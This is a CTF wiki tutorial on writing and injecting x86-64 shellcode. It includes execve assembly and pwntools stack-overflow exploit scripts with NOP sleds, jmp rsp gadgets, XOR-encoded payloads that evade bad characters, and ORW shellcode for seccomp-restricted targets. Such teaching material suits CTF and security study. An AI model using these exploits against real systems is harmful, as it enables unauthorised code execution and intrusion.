Athena Wiki

Shellcode

pwnintermediate

Write, assemble, and inject shellcode in CTF pwn challenges - x86-64, null-free, and badchar bypass.

pwnshellcodeassemblyexecvesyscallnop-sledbadcharspwntools

Shellcode

Shellcode is raw machine code that, when executed, spawns a shell. You inject it into the program's memory (stack, heap, or BSS) and redirect execution to it.

Shellcode only works when NX is disabled — the stack and heap must be executable. If checksec shows NX enabled, use ROP chains or ret2libc instead.


When to Use Shellcode

checksec shows NX disabled → you can run code on the stack/heap → use shellcode
checksec shows NX enabled  → stack/heap not executable → use ROP instead

You also need to know where your shellcode will live (a known address or a leakable stack/heap address), and whether the input has bad characters (like null bytes that terminate strcpy).


The Easiest Path: pwntools shellcraft

Don't write assembly by hand unless you have to. pwntools generates shellcode for you:

from pwn import *
context.arch = 'amd64'
context.os   = 'linux'

shellcode = asm(shellcraft.sh())   # generates execve("/bin/sh", NULL, NULL)
print(f"Length: {len(shellcode)} bytes")

That's it. shellcraft.sh() produces position-independent x86-64 machine code that spawns a shell. Use it unless you have bad character restrictions.


How execve Shellcode Works

The goal is to call the execve syscall with /bin/sh as the argument. On x86-64 Linux:

RegisterValue
RAX59 (0x3b) — syscall number for execve
RDIpointer to "/bin/sh"
RSI0 (NULL — no argv)
RDX0 (NULL — no envp)

The assembly:

; Store "/bin/sh" on the stack (position-independent)
xor    rsi, rsi          ; RSI = 0
push   rsi               ; push null terminator
mov    rdi, 0x68732f6e69622f2f  ; "//bin/sh" (note: // is same as /)
push   rdi
push   rsp
pop    rdi               ; RDI = pointer to "/bin/sh" on stack

; Call execve
xor    rdx, rdx          ; RDX = 0
push   0x3b
pop    rax               ; RAX = 59
syscall                   ; trigger the syscall

The trick of pushing to the stack and then using the stack pointer as the string address is what makes it position-independent — no hardcoded addresses needed.


Injecting Shellcode via Stack Overflow

The typical flow:

  1. NX is off, so the stack is executable
  2. You have a stack overflow
  3. You know (or can leak) a stack address
  4. Place shellcode on the stack, overwrite return address to point at it
from pwn import *

context.binary = elf = ELF('./vuln')
context.arch = 'amd64'
p = process('./vuln')

shellcode = asm(shellcraft.sh())
offset    = 72

# You need a stack address — via leak, fixed address, or jmp rsp gadget
stack_leak = ...                    # e.g., from a printf leak
shell_addr = stack_leak - 0x100     # adjust offset from GDB

payload  = shellcode
payload += b'\x90' * (offset - len(shellcode))   # NOP sled
payload += p64(shell_addr)                        # return to shellcode

p.sendline(payload)
p.interactive()

Finding the Shellcode Address

If the binary has a jmp rsp instruction, you don't need a stack leak. After ret pops the return address, RSP points to whatever comes next on the stack — put your shellcode there:

ROPgadget --binary ./vuln | grep "jmp rsp"
jmp_rsp = 0x401234
payload = b'A' * offset + p64(jmp_rsp) + shellcode

NOP Sled

A NOP sled (\x90 bytes) before the shellcode makes the target address less precise. Any return address that lands anywhere in the sled will "slide" forward to the shellcode:

payload  = b'\x90' * 100                # NOP sled
payload += shellcode                     # actual shellcode
payload += b'A' * (offset - 100 - len(shellcode))
payload += p64(approximate_stack_addr)   # doesn't need to be exact

Avoiding Bad Characters

If the program uses strcpy, gets, or reads until a delimiter, certain bytes will break your shellcode. The most common bad character is \x00 (null byte) — it terminates string operations.

Check for null bytes:

shellcode = asm(shellcraft.sh())
if b'\x00' in shellcode:
    print("WARNING: null bytes found!")
    for i, b in enumerate(shellcode):
        if b == 0:
            print(f"  Null at offset {i}")

Common null-byte tricks:

Instead ofUse
mov rax, 59push 0x3b; pop rax
mov rdx, 0xor rdx, rdx
mov rdi, "/bin/sh\x00"Push null first, then string (see shellcraft output)

pwntools shellcraft.sh() already avoids null bytes. You only need to worry about this if writing custom assembly.

Multiple bad characters: XOR encoding

If several bytes are banned, XOR-encode the shellcode with a key that isn't a bad character, and prepend a decoder stub:

from pwn import *
context.arch = 'amd64'

raw_shell = asm(shellcraft.sh())
key = 0x41   # must not be a bad character

encoded = bytes([b ^ key for b in raw_shell])

decoder = asm(f"""
    lea rdi, [rip + payload]
    mov rcx, {len(encoded)}
decode_loop:
    xor byte ptr [rdi], {key}
    inc rdi
    loop decode_loop
payload:
""")

shellcode = decoder + encoded

ORW Shellcode (When execve Is Blocked)

If seccomp blocks execve but allows open, read, and write, you can read the flag file directly:

from pwn import *
context.arch = 'amd64'

shellcode  = shellcraft.open('/flag.txt', 0)        # open the flag
shellcode += shellcraft.read('rax', 'rsp', 0x100)   # read it to stack
shellcode += shellcraft.write(1, 'rsp', 0x100)      # write to stdout

payload = asm(shellcode)

For more on seccomp bypasses, see Seccomp Bypass.


Syscall Quick Reference (x86-64)

SyscallRAXRDIRSIRDX
read0fdbufcount
write1fdbufcount
open2filenameflagsmode
execve59filenameargvenvp
exit60status

Full table: syscalls.mebeim.net


Checklist

  • checksec — is NX disabled? If not, use ROP instead
  • shellcraft.sh() for standard /bin/sh shellcode
  • Check for null bytes and other bad characters
  • Need the shellcode address? → jmp rsp gadget, stack leak, or known fixed address
  • NOP sled to increase reliability if address is approximate
  • execve blocked by seccomp? → ORW shellcode (see Seccomp Bypass)

Last updated on

On this page